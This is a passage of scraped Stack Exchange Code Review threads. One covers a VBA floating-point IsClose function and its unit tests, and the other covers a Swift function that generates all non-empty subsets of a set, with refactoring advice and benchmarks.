'@ModuleCleanup
Private Sub ModuleCleanup()
'this method runs once per module.
Set Assert = Nothing
End Sub
'@TestMethod("Uncategorized")
Private Sub IsCloseTestMethod()
On Error GoTo TestFail
Assert.IsTrue IsClose(1, 1, 0), "Same zero relTol"
Assert.IsTrue IsClose(1, 1, absTol:=0), "Same zero absTol"
Assert.IsTrue IsClose(1, 1, 0.1), "Same positive tol"
Assert.IsTrue IsClose(1, 1.1, 0.2), "Close within relTol for a"
Assert.IsTrue IsClose(1, 1.1, relTol:=0.099), "Close within relTol for b not a"
Assert.IsTrue IsClose(1, 1.1, absTol:=0.2), "Close within absTol"
Assert.IsFalse IsClose(1, 1.1, 0.01), "Outside relTol"
Assert.IsFalse IsClose(1, 1.1, absTol:=0.01), "Outside absTol"
Assert.IsTrue IsClose(PosInf, PosInf, 0), "PosInf same zero tol"
Assert.IsTrue IsClose(NegInf, NegInf, 0), "NegInf same zero tol"
Assert.IsFalse IsClose(PosInf, 0, absTol:=PosInf), "Nothing close to PosInf"
Assert.IsFalse IsClose(NegInf, 0, absTol:=PosInf), "Nothing close to NegInf"
Assert.IsTrue IsClose(IEEE754.GetIEEE754SpecialValue(abDoubleMax), _
IEEE754.GetIEEE754SpecialValue(abDoubleMin), _
absTol:=PosInf), "Finite a, b with infinite diff still close when infinite tolerance"
Assert.IsTrue IsClose(IEEE754.GetIEEE754SpecialValue(abDoubleMax), _
IEEE754.GetIEEE754SpecialValue(abDoubleMin), _
relTol:=1.1), "Overflowing infinite relTol always close for finite a, b"
'reversed a,b
Assert.IsTrue IsClose(1.1, 1, 0.2), "Reversed Close within relTol for a"
Assert.IsTrue IsClose(1.1, 1, relTol:=0.099), "Reversed Close within relTol for b not a"
Assert.IsTrue IsClose(1.1, 1, absTol:=0.2), "Reversed Close within absTol"
Assert.IsFalse IsClose(1.1, 1, 0.01), "Reversed Outside relTol"
Assert.IsFalse IsClose(1.1, 1, absTol:=0.01), "Reversed Outside absTol"
Assert.IsFalse IsClose(0, PosInf, absTol:=PosInf), "Reversed Nothing close to PosInf"
Assert.IsFalse IsClose(0, NegInf, absTol:=PosInf), "Reversed Nothing close to NegInf"
Assert.IsTrue IsClose(IEEE754.GetIEEE754SpecialValue(abDoubleMin), _
IEEE754.GetIEEE754SpecialValue(abDoubleMax), _
absTol:=PosInf), "Reverse Finite a, b with infinite diff still close when infinite tolerance"
Assert.IsTrue IsClose(IEEE754.GetIEEE754SpecialValue(abDoubleMin), _
IEEE754.GetIEEE754SpecialValue(abDoubleMin), _
relTol:=1.1), "Reverse Overflowing infinite relTol always close for finite a, b"
TestExit:
Exit Sub
TestFail:
Assert.Fail "Test raised an error: #" & Err.Number & " - " & Err.Description
Resume TestExit
End Sub
'@TestMethod("Bad Inputs")
Private Sub IsCloseNaNraisesOverflowErr()
Const ExpectedError As Long = 6
On Error GoTo TestFail
'@Ignore FunctionReturnValueDiscarded: Just testing error raising
IsClose NaN, 0
Assert:
Assert.Fail "Expected error was not raised"
TestExit:
Exit Sub
TestFail:
If Err.Number = ExpectedError Then
Resume TestExit
Else
Resume Assert
End If
End Sub
'@TestMethod("Bad Inputs")
Private Sub NegativeTolRaisesArgError()
Const ExpectedError As Long = 5
On Error GoTo TestFail
'@Ignore FunctionReturnValueDiscarded: Just testing error raising
IsClose 1, 1, -1
Assert:
Assert.Fail "Expected error was not raised"
TestExit:
Exit Sub
TestFail:
If Err.Number = ExpectedError Then
Resume TestExit
Else
Resume Assert
End If
End Sub
</code></pre>
<p>... which uses a modified version of the <code>GetIEEE754SpecialValue</code> function given in <a href="https://stackoverflow.com/a/896292/6609896">this answer</a> - <em><strong><a href="https://gist.github.com/Greedquest/4e0b9cea0e183ddd28cdbcfd12b0885b" rel="nofollow noreferrer">link to modified version</a> not for review</strong></em>. This was retrospective test driven development as I already had most of the code written from python, however a few additions were made to make it more VBA-idiomatic (e.g. throw error on NaN, python does not).</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T15:45:06.007",
"Id": "520990",
"Score": "0",
"body": "Isn't it possible that one infinite number and one finite number could be within tolerance and this would errantly return false?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T16:03:47.607",
"Id": "520992",
"Score": "0",
"body": "@HackSlash So the one situation where infinite and finite numbers could conceivably be \"within tolerance\" is when the tolerance itself is +inf. The design decision I've made is that when comparing finite and infinite numbers, the result is always False for any reasonable definition of closeness (as one is infinitely far away from the other by definition). However where the args are finite but their _difference_ is infinite (because of overflow) then I treat that diff as just a \"large number\" and this _can_ fall within infinite tolerance. This mimics python, but I'm open to counter-arguments"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T16:13:26.410",
"Id": "520994",
"Score": "0",
"body": "@HackSlash You can see this behaviour is defined in the 4th and 5th chunks of tests e.g. `Assert.IsFalse IsClose(PosInf, 0, absTol:=PosInf)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T23:13:03.070",
"Id": "521019",
"Score": "1",
"body": "An alterative to percentage is to consider all finite/infinite floating point values in an ordered value sequence indexed from -N to N. Then compare how far apart the _indexes_ of 2 values are and if below some limit."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T09:29:32.270",
"Id": "521108",
"Score": "1",
"body": "Consider having an ```On Error GoTo 0``` line at the end of all 4 supporting methods at the bottom of the ```TestUtils.bas``` module. Having an ```On Error Resume Next``` without the ```On Error GoTo 0``` is a dangerous practice. The ```Err``` object is global and it's not reset once any of the 4 methods are exited. Simply running ```Debug.Print IsInfinity(0)``` from anywhere makes the ```Err``` object hold an error 11. That could cause issues up the calling chain where logic like ```If Err.Number = 0 Then ...``` is used."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T13:48:57.040",
"Id": "521134",
"Score": "0",
"body": "@chux-ReinstateMonica If you think there's justification for that then post an answer :). IIUC, I think that ranking approach is pretty much functionally equivalent to the relTol, since it also scales with the arguments - basically identical for small n (although I think it's logarithmically symmetrical so may be better for certain contexts?). But is there a situation where that style API is better? I ruled it out to make the code simpler to understand and use/maintain, but better functionality is more important so let me know if you think a change could improve that in particular contexts."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T14:00:45.700",
"Id": "521136",
"Score": "1",
"body": "@CristianBuse Good catch! I had no idea the error number persisted once the function exited."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T15:46:23.143",
"Id": "521148",
"Score": "0",
"body": "@Greedo If using ```On Error GoTo ErrorHandler``` statement and an error is raised, once the code exits the method (after the label was reached) or there is a ```Resume``` statement, the ```Err``` object is reset. Which is exactly the opposite of the ```On Error Resume Next``` case. I made the same confusion for years :)"
}
] |
[
{
"body": "<p>I admire the fact that you took the time to research and implement the edge cases for NaN and +-Inf. I think most people would just write an <code>On Error Resume Next</code> around the general case and be done with it.</p>\n<p><strong>Error Handling</strong></p>\n<p>As mentioned in the comments a while ago, there is an annoying inconsistency with error handling in VBA. When using an <code>On Error GoTo Label</code> the global <code>Err</code> object will get reset before exiting the method if an error occurs. Not for <code>On Error Resume Next</code> though. If an error occurs then the <code>Err</code> object retains the error information even after exiting the scope of the method unless it gets reset. We can test this with:</p>\n<pre><code>Sub TestErr()\n Debug.Print IsInfinity(0)\n Debug.Print Err.Number 'Prints 11\nEnd Sub\n</code></pre>\n<p>To make sure this does not happen and logic like <code>If Err.Number = 0 Then</code> is not affected up the calling chain, we can reset the error turning the lines:</p>\n<pre><code>On Error Resume Next \nIsInfinity = Abs(Number) = PosInf\n</code></pre>\n<p>into:</p>\n<pre><code>On Error Resume Next \nIsInfinity = Abs(Number) = PosInf\nOn Error GoTo 0 'Or Err.Clear\n</code></pre>\n<p>Same for all the other occurrences of <code>On Error Resume Next</code> (including on the <code>Else</code> branch of the <code>IsClose</code> method.</p>\n<p><strong>Static</strong></p>\n<p>It's quite annoying that the special cases (NaN, Inf) cannot be written as constants. The next best thing is to have a method that returns the special values as you already have. Although you linked to <a href=\"https://stackoverflow.com/a/896292/6609896\">this answer</a> I still prefer your approach with dividing by 0 (zero).</p>\n<p>I think you started something here with the <code>Static</code> keyword in order to make the <code>NegInf</code>, <code>NaN</code> and <code>PosInf</code> methods faster (if called many times) but you probably got distracted and did not finish. I have no doubt you know what <code>Static</code> does (seen you in other posts) but for the sake of other readers let's clarify. In all 3 methods mentioned above the <code>Static</code> keyword does nothing.</p>\n<p>Consider the following methods:</p>\n<pre><code>Public Static Function TestStatic1(ByVal dummyArg As Variant) As Double\n Dim x As Double\n Dim y As Double\n \n x = x + 1\n y = y + 1\n \n Debug.Print "X: " & x\n Debug.Print "Y: " & y\n \n TestStatic1 = TestStatic1 + 1\nEnd Function\nPublic Function TestStatic2(ByVal dummyArg As Variant) As Double\n Static x As Double\n Static y As Double\n \n x = x + 1\n y = y + 1\n \n Debug.Print "X: " & x\n Debug.Print "Y: " & y\n \n TestStatic2 = TestStatic2 + 1\nEnd Function\nSub Test()\n Debug.Print "TS1: " & TestStatic1(Empty)\n Debug.Print "TS1: " & TestStatic1(Empty)\n \n Debug.Print "TS2: " & TestStatic2(Empty)\n Debug.Print "TS2: " & TestStatic2(Empty)\nEnd Sub\n</code></pre>\n<p>If we run the <code>Test</code> method the output will be:<br />\n<img src=\"https://i.stack.imgur.com/SZRFX.png\" alt=\"immediate window 1\" /></p>\n<p>This demonstrates that the <code>Static</code> keyword only ever affects variables declared within the scope of a method regardless if the keyword is placed in the function definition or in the variable declaration itself. The above <code>TestStatic1</code> and <code>TestStatic2</code> methods are identical from a functional perspective. The <code>Static</code> keyword never affects the return value of a function/property and we can see that all TS1 and TS2 returned values are always 1 in the example above.</p>\n<p>So, instead we could re-write this:</p>\n<pre><code>'@Description("IEEE754 +inf")\nPublic Static Property Get PosInf() As Double\n On Error Resume Next\n PosInf = 1 / 0\nEnd Property\n</code></pre>\n<p>to this:</p>\n<pre><code>'@Description("IEEE754 +inf")\nPublic Property Get PosInf() As Double\n Static pInf As Double\n Static isSet As Boolean\n '\n If Not isSet Then\n On Error Resume Next\n pInf = 1 / 0\n On Error GoTo 0\n isSet = True\n End If\n PosInf = pInf\nEnd Property\n</code></pre>\n<p>Similarly we can re-write the <code>NaN</code> method to:</p>\n<pre><code>'@Description("IEEE754 signaling NaN (sNaN)")\nPublic Property Get SNaN() As Double\n Static n As Double\n Static isSet As Boolean\n '\n If Not isSet Then\n On Error Resume Next\n n = 0 / 0\n On Error GoTo 0\n isSet = True\n End If\n SNaN = n\nEnd Property\n</code></pre>\n<p>Now we can rewrite <code>NegInf</code> as:</p>\n<pre><code>'@Description("IEEE754 -inf")\nPublic Property Get NegInf() As Double\n NegInf = -PosInf\nEnd Property\n</code></pre>\n<p>And add the quiet NaN as well, for completeness:</p>\n<pre><code>'@Description("IEEE754 quiet NaN (qNaN)")\nPublic Property Get QNaN() As Double\n QNaN = -SNaN\nEnd Property\n</code></pre>\n<p><strong>Testing</strong></p>\n<p>I also don't think splitting tests up would help as long as you have proper fail messages.</p>\n<p>I think for the last test in <code>IsCloseTestMethod</code> you meant to have a min and a max value but instead you have two min values. The result is not affected but worth pointing out.</p>\n<p>I would add a couple more error raise tests. I would include one for the QNaN as you already have one for the SNaN. I would also pass both QNaN and SNaN to the rel and abs tolerances.</p>\n<p>I would have loved to comment more on the testing but my testing experience is very limited.</p>\n<p><strong>Comments</strong></p>\n<p>Not much to say here except that some of your comments start with a lowercase letter and others with an uppercase. Because I can see that you continue comments on the next line without adding a space (or more) I think this can cause confusion as to where a new comment starts so I would simply choose the uppercase as a start and stick with it. Otherwise, most comments are spot-on. Maybe I would add an extra space of indent to comments that are continued on more lines. I usually add 3 (by pressing Tab once) but since you add none I think at least 1 would improve readability.</p>\n<p><strong>IsClose</strong></p>\n<p>The <code>'sanity check on the inputs</code> comment is redundant as the error description on the next line already provides the reader with enough info to figure out why the test is there.</p>\n<p>Since you have all code in this method on <code>ElseIf</code> and <code>Else</code> branches then there is no need for the two <code>Exit Function</code> statements. The two would be useful if for example you would replace the <code>Else</code> with <code>End If</code> and leave the remaining code outside of the entire <code>If</code> block. This is a stylistic choice though as of course the two extra <code>Exit Function</code> statements won't "hurt" anybody and it can even be argued that you're mimicking the <code>return</code> statement in Python (which I would love to have in VBA) and the intent it's more clear to the reader. The two comments on the <code>ElseIf</code> branches are spot-on but as I mentioned above I would rename <code>'short circuit</code> to <code>'Short circuit</code> for consistency sake.</p>\n<blockquote>\n<p>'VBA requires writing the result of Abs(relTol * x) to a variable in order to determine whether it is infinite</p>\n</blockquote>\n<p>Yes, but we can bypass the variable if we cast to Double using <code>CDbl</code>.</p>\n<p>Considering the above, I would rewrite the whole method like this:</p>\n<pre><code>Public Function IsClose(ByVal a As Double, ByVal b As Double, _\n Optional ByVal relTol As Double = 0.000000001, _\n Optional ByVal absTol As Double = 0 _\n ) As Boolean\n \n If relTol < 0# Or absTol < 0# Then\n Err.Raise 5, Description:="tolerances must be non-negative"\n ElseIf a = b Then\n 'Short circuit exact equality -- needed to catch two infinities of\n ' the same sign. And perhaps speeds things up a bit sometimes.\n IsClose = True\n ElseIf IsInfinity(a) Or IsInfinity(b) Then\n 'This catches the case of two infinities of opposite sign, or\n ' one infinity and one finite number. Two infinities of opposite\n ' sign would otherwise have an infinite relative tolerance.\n 'Two infinities of the same sign are caught by the equality check\n ' above.\n IsClose = False\n Else\n 'Now do the regular computation on finite arguments. Here an\n ' infinite tolerance will always result in the function returning True,\n ' since an infinite difference will be <= to the infinite tolerance.\n \n 'This is to supress overflow errors as we deal with infinity.\n 'NaN has already been filtered out in the equality checks earlier.\n On Error Resume Next\n Dim diff As Double: diff = Abs(b - a)\n \n If diff <= absTol Then\n IsClose = True\n ElseIf diff <= CDbl(Abs(relTol * b)) Then\n IsClose = True\n ElseIf diff <= CDbl(Abs(relTol * a)) Then\n IsClose = True\n End If\n On Error GoTo 0\n End If\nEnd Function\n</code></pre>\n<p>and of course we could add an extra <code>Else</code> statement to be fully explicit, turning this:</p>\n<pre><code>If diff <= absTol Then\n IsClose = True\nElseIf diff <= CDbl(Abs(relTol * b)) Then\n IsClose = True\nElseIf diff <= CDbl(Abs(relTol * a)) Then\n IsClose = True\nEnd If\n</code></pre>\n<p>into this:</p>\n<pre><code>If diff <= absTol Then\n IsClose = True\nElseIf diff <= CDbl(Abs(relTol * b)) Then\n IsClose = True\nElseIf diff <= CDbl(Abs(relTol * a)) Then\n IsClose = True\nElse\n IsClose = False\nEnd If\n</code></pre>\n<p>but I guess this is purely a stylistic choice.</p>\n<p>As always, great work! Thanks for sharing!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-17T10:55:34.097",
"Id": "266123",
"ParentId": "263839",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T14:47:15.470",
"Id": "263839",
"Score": "3",
"Tags": [
"python",
"vba",
"unit-testing",
"floating-point",
"rubberduck"
],
"Title": "Rigorously checking whether 2 floating point numbers are close in VBA"
}
|
263839
|
<p>The goal of the function below is to generate all subsets of a given set, i.e. a collection of sets that contain all possible combinations of the elements in the set. Note that for my application I do not want the empty set to be part of the result.</p>
<p>Exemple:</p>
<ul>
<li>input: (1,2,3)</li>
<li>output: ((1),(2),(3),(1,2),(1,3),(2,3),(1,2,3))</li>
</ul>
<p>Notes about the code:</p>
<ol>
<li>The function uses recursion</li>
<li>The <code>Set.removingFirst()</code> method is defined so that the code in the function reads more naturally</li>
<li>Basic unit tests are provided</li>
</ol>
<p>I am interested in comments about the algorithm, swift features usage, naming, code presentation, etc. Any useful comment is appreciated.</p>
<p>Thanks</p>
<pre class="lang-swift prettyprint-override"><code>func combinations<T>(of set: Set<T>) -> Set<Set<T>> {
if set.count == 0 {
return []
} else if set.count == 1 {
return [set]
} else {
var allCombinations: Set<Set<T>> = []
let (firstElement, diminishedSet) = set.removingFirst()
for combinationOfDiminishedSet in combinations(of: diminishedSet) {
allCombinations.insert(
[firstElement]
)
allCombinations.insert(
combinationOfDiminishedSet.union([firstElement])
)
allCombinations.insert(
combinationOfDiminishedSet
)
}
return allCombinations
}
}
extension Set {
func removingFirst() -> (element: Element, set: Set) {
var set = self
let element = set.removeFirst()
return (element: element, set: set)
}
}
assert(
combinations(of: Set<Int>()) == Set<Set<Int>>(),
"empty set"
)
assert(
combinations(of: [1]) == [[1]],
"set containing only one element"
)
assert(
combinations(of: [1,2]) == [[1], [2], [1,2]],
"set containing two elements"
)
assert(
combinations(of: [1,2,3]) == [[1], [2], [3], [1,2], [1,3], [2,3], [1,2,3]],
"set containing three elements"
)
print("all tests passed")
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-09T12:14:40.480",
"Id": "521112",
"Score": "0",
"body": "The above example missing the empty set ()."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T13:35:17.923",
"Id": "521207",
"Score": "0",
"body": "@HaruoWakakusa Good point, I forgot to mention that I do not want the empty set to be part of the result."
}
] |
[
{
"body": "<ul>\n<li><p>Your <code>removingFirst()</code> is not necessary. Set has a <code>first</code> and a <code>dropFirst()</code> that you can use to get those values.</p>\n</li>\n<li><p>The typical Swift developer would expect to see this algorithm as an extension rather than a free function.</p>\n</li>\n<li><p>This is a power set algorithm with the empty set subtracted. It would probably be better to just implement powerSet and then subtract the empty set. A google search will find a few implementations of powerSet. Here's my favorite:</p>\n</li>\n</ul>\n<pre><code>extension Collection {\n var powerSet: [[Element]] {\n guard !isEmpty else { return [[]] }\n return Array(dropFirst()).powerSet.flatMap { [$0, [self.first!] + $0] }\n }\n}\n\nlet result = Set(\n [1, 2, 3]\n .powerSet\n .map { Set($0) }\n)\n.subtracting(Set([Set()]))\n\nprint(result)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-13T15:31:31.373",
"Id": "266037",
"ParentId": "263840",
"Score": "1"
}
},
{
"body": "<h3>Some simplifications (with a small performance improvement)</h3>\n<p>What I noticed first is that your recursive function has <em>two</em> terminating conditions: <code>set.count == 0</code> and <code>set.count == 0</code>. Why is that necessary?</p>\n<p>Well, if we comment out the second terminating condition</p>\n<pre class=\"lang-swift prettyprint-override\"><code>//} else if set.count == 1 {\n// return [set]\n</code></pre>\n<p>then it doesn't work anymore:</p>\n<pre><code>print(combinations(of: [1, 2, 3]))\n// Output: []\n</code></pre>\n<p>But why is that? The reason is that adding the single-element set of the first element</p>\n<pre class=\"lang-swift prettyprint-override\"><code>allCombinations.insert([firstElement])\n</code></pre>\n<p>is done <em>inside</em> the loop which iterates of the combinations of the diminished set. If we move that statement <em>before</em> the loop then the code simplifies to</p>\n<pre class=\"lang-swift prettyprint-override\"><code>func combinations<T>(of set: Set<T>) -> Set<Set<T>> {\n if set.isEmpty {\n return []\n }\n \n var allCombinations: Set<Set<T>> = []\n let (firstElement, diminishedSet) = set.removingFirst()\n allCombinations.insert([firstElement])\n for combinationOfDiminishedSet in combinations(of: diminishedSet) {\n allCombinations.insert(\n combinationOfDiminishedSet.union([firstElement])\n )\n allCombinations.insert(\n combinationOfDiminishedSet\n )\n }\n return allCombinations\n}\n</code></pre>\n<p>This makes the code shorter, simpler, and a bit faster, since the single-element set is added only once, not repeatedly for each subset of the diminished set.</p>\n<p>I also prefer <code>isEmpty</code> to check for an empty collection. It makes no real difference for a <code>Set</code>, but for general collection, <code>count</code> can be a <span class=\"math-container\">\\$ O(N) \\$</span> operation, where <span class=\"math-container\">\\$ N \\$</span> is the number of elements in the collection.</p>\n<p>In addition, I have omitted the <code>else</code> statement because it is not necessary. That saves one level of indentation for the remaining larger code block.</p>\n<h3>Choosing the right data structure (and a large performance improvement)</h3>\n<p>You function returns a <code>Set</code> of all combinations with elements from the given set. All those combinations are different, but each <code>insert()</code> call has to check for duplicates. If we return an <code>Array</code> instead then we can simply <code>append()</code> each combination.</p>\n<p>The same happens when building the combinations: in</p>\n<pre class=\"lang-swift prettyprint-override\"><code>combinationOfDiminishedSet.union([firstElement])\n</code></pre>\n<p>the <code>firstElement</code> is distinct from all elements in <code>combinationOfDiminishedSet</code>, but the <code>union()</code> call still has to check for duplicates.</p>\n<p>I would therefore suggest to return a nested <em>array</em> instead of a nested set.</p>\n<p>Changing the <em>input</em> from a set to an array makes the code more flexible: The given elements need not conform to the <code>Hashable</code> protocol anymore, and repeated elements are possible.</p>\n<p>Actually it is even better to use an <code>ArraySlice</code> as the input because then removing the first element becomes a <span class=\"math-container\">\\$ O(1) \\$</span> operation. One can still have a wrapper function taking an <code>Array</code> (or a <code>Set</code> if you prefer).</p>\n<p>This leads to the following implementation:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>func combinations<T>(of elements: ArraySlice<T>) -> [[T]] {\n guard let firstElement = elements.first else {\n return []\n }\n \n var allCombinations: [[T]] = [[firstElement]]\n let combinationsOfRemainingElements = combinations(of: elements.dropFirst())\n for combination in combinationsOfRemainingElements {\n allCombinations.append(combination + [firstElement])\n }\n allCombinations.append(contentsOf: combinationsOfRemainingElements)\n return allCombinations\n}\n\n// Wrapper function taking an array:\nfunc combinations<T>(of elements: [T]) -> [[T]] {\n combinations(of: elements[...])\n}\n\n// Wrapper function taking a set:\nfunc combinations<T>(of elements: Set<T>) -> [[T]] {\n combinations(of: Array(elements))\n}\n</code></pre>\n<h3>Performance comparison</h3>\n<p>All tests were done on a MacBook Air (1.1 GHz Quad-Core Intel Core i5), with the code compiled as a Command Line application in “Release” configuration.</p>\n<pre><code>let mySet = Set(1...20)\nlet start = Date()\nlet c = combinations(of: mySet)\nlet end = Date()\nprint(c.count, end.timeIntervalSince(start))\n</code></pre>\n<p>Results:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Implementation</th>\n<th>Time</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Original code</td>\n<td>3.0 seconds</td>\n</tr>\n<tr>\n<td>First improvement</td>\n<td>2.5 seconds</td>\n</tr>\n<tr>\n<td>Second improvement</td>\n<td>0.2 seconds</td>\n</tr>\n</tbody>\n</table>\n</div><h3>Reinvent the wheel?</h3>\n<p>The <a href=\"https://github.com/apple/swift-algorithms\" rel=\"nofollow noreferrer\">Swift Algorithms</a> is “an open-source package of sequence and collection algorithms, along with their related types.”</p>\n<p>It provides methods to compute the combinations of all sizes or of a given range of sizes from a collection:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>for c in [1, 2, 3].combinations(ofCount: 1...3) {\n print(c)\n}\n</code></pre>\n<p>Output:</p>\n<pre>\n[1]\n[2]\n[3]\n[1, 2]\n[1, 3]\n[2, 3]\n[1, 2, 3]\n</pre>\n<p>Even if you want to implement your own code it may be instructive to look at the implementation from that library. It demonstrates how to return the combinations as a “lazy collection” – i.e. as a collection where each combination is computed (efficiently) only when accessed.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-16T11:24:46.753",
"Id": "525567",
"Score": "0",
"body": "Wow, very interesting, thank you so much for taking the time to do all this."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-16T22:25:11.217",
"Id": "530729",
"Score": "0",
"body": "In your second improvement, could you please confirm that appending a `combination` inside the For-loop is faster than append all the contents of `combinationsOfRemainingElements` at once"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-17T02:12:25.887",
"Id": "530743",
"Score": "0",
"body": "@ielyamani: I am not sure if I understand what you mean. The elements *are* appended at once in `allCombinations.append(contentsOf: combinationsOfRemainingElements)`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-17T10:02:46.033",
"Id": "530756",
"Score": "0",
"body": "@ielyamani: I cannot measure a significant time difference."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-10-17T10:18:51.570",
"Id": "530761",
"Score": "0",
"body": "OK, I see, maybe it's just a TIO thing: At a 99% CPU share, with your code the best I could get was 0.32s; vs 0.26s with this tiny tweak. With a set count of 22, the improvement is a bit more pronounced."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-08-15T09:21:19.690",
"Id": "266073",
"ParentId": "263840",
"Score": "1"
}
},
{
"body": "<h1>Algorithm</h1>\n<p>Generating combinations of a set is a classic problem. You chose the recursive route, which incurs auxiliary space: All those sets that were not returned will consume temporary memory. You may also be limited in the number of recursive calls by the size of the stack in your system. To overcome this, and with the help of some bit manipulation, you could create a generator that gives you only the next combination. After consuming that combination, you could ask for the next one.</p>\n<hr>\n<h1>Dangerous extension</h1>\n<p>This extension calls for trouble, since there is no check for non emptiness:</p>\n<blockquote>\n<pre><code>extension Set {\n \n func removingFirst() -> (element: Element, set: Set) {\n \n var set = self\n let element = set.removeFirst()\n \n return (element: element, set: set)\n }\n}\n</code></pre>\n</blockquote>\n<p>With association to your <code>combinations(_:)</code> it's fine since you're checking; BUT! It wouldn't be safe to used it outside this context, since removing from an empty set would result in a fatal error.</p>\n<p>The data structures that are more suitable to be consumed from the <em>left</em> and allow appending elements to the <em>right</em>, are: a <a href=\"https://github.com/raywenderlich/swift-algorithm-club/tree/master/Linked%20List\" rel=\"nofollow noreferrer\">Linked list</a> or a <a href=\"https://github.com/apple/swift-collections/blob/main/Documentation/Deque.md\" rel=\"nofollow noreferrer\">Deque</a>.</p>\n<hr>\n<h1>Linting (Code presentation)</h1>\n<p>It would be nice if the use of new lines before and after the curly brackets was consistent (especially after the <code>return</code> keyword). At the end of the day, it's a matter of personal taste.</p>\n<hr>\n<h1>Naming</h1>\n<ul>\n<li><code>firstElement</code>: It could be misleading since a set is not an ordered collection, maybe use <code>head</code> instead.</li>\n<li><code>diminishedSet</code>: To me, it feels unnatural/unfamiliar. <code>tail</code> would be a more suitable alternative.</li>\n</ul>\n<hr>\n<h1>Alternative implementation</h1>\n<p>Here is a pretty common way to generate a power set:</p>\n<pre class=\"lang-swift prettyprint-override\"><code>func combinations<T>(of elements: Set<T>) -> [[T]] {\n var allCombinations: [[T]] = []\n for element in elements {\n let oneElementCombo = [element]\n for i in 0..<allCombinations.count {\n allCombinations.append(allCombinations[i] + oneElementCombo)\n }\n allCombinations.append(oneElementCombo)\n }\n return allCombinations\n}\n</code></pre>\n<p>Note that the return value is <code>[[T]]</code> to avoid unnecessary hashing, since the uniqueness is guaranteed by the fact that <code>elements</code> is a <code>Set<T></code>.</p>\n<hr>\n<h1>Benchmarks</h1>\n<p>Here are some benchmarks on TIO with <code>-O</code> optimization on a 20-element set:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Implementation</th>\n<th>Time</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>Original</td>\n<td><a href=\"https://tio.run/##tVM9b8MgEN35FYwgJVZSdbKaLE0jdcqQblEG1z5SJIwjOKetqvz1uoDzYexmqdQbEBx373jHO/suBd43stxXBumyqnWRoaw0IaLWOc2r8lXq4LEPL3NWCWoBU7oGdEdOx/OwbY9z@kXoycJGhugkd6hIZzM6uQRc4gxgbTTdbOPMIwVlYQAwPQMM8l3Y7xC9J3k7ZIZmSj12uKURjdngPd4UIGVCGotPCkrQOKKFLKWW9g0Kl8pdnn@tgbI6SL1b@lDGSR9HVKbb15VYdFGo1FHXXcvTfp0rpwjYW49XIrUFgyyK8bbpEtlG1/xPgLcZJbV2ThZX5P9a8gb4cfipJ/30SrYCIkdCCHwgaOucXiGnzoclzEfvr/08MGgppvQik/PI8FtqdAFBPEpEajshdXUFPVUNmFzLQ1TeLfxMq/Hg5ec6VHUrmyZJcjfhxPstZsb7FxkCa125Ow40GfLbe9DFNWFvpEaWt0M78ncJyhKeNYI5ZGotdQ4sFOG8ab5zobKdbcarHw\" rel=\"nofollow noreferrer\">5.14 seconds</a></td>\n</tr>\n<tr>\n<td>Daniel's</td>\n<td><a href=\"https://tio.run/##RVA9a8MwEN31Ky7gQaKpcEunQobSJtChdMhoPKj22Qhk2ZzOSUPIX68rOV83HOLde@@eLuxtwy@T7YaeGDb96GvDtvdC4C@jD/EJ771zWCUUjgJi7QzB0O@RtsivUBRrhx16LsvLPFU7GqphYcO6G/gA6ALCEQh5JB8lkXu6cS/oG5E5yJr6YWMpsFRKX7foxhn@MkO0KLJ8CUVA1@gm0RYlPECWX/1O4jQ5ZOgOUQYriF0@aa2fcyUSHthQwj8MozxD1YU262fdLdktwB3p5hSJn@UqrlNCh/GHycQL@VamQZGaKtXZHn193zeQ9SwrXcVL8zLNNNsOPz0j7YzbWl@hnDMqNU1/Vfx3G6bH738\" rel=\"nofollow noreferrer\">2.05 seconds</a></td>\n</tr>\n<tr>\n<td>Martin's</td>\n<td><a 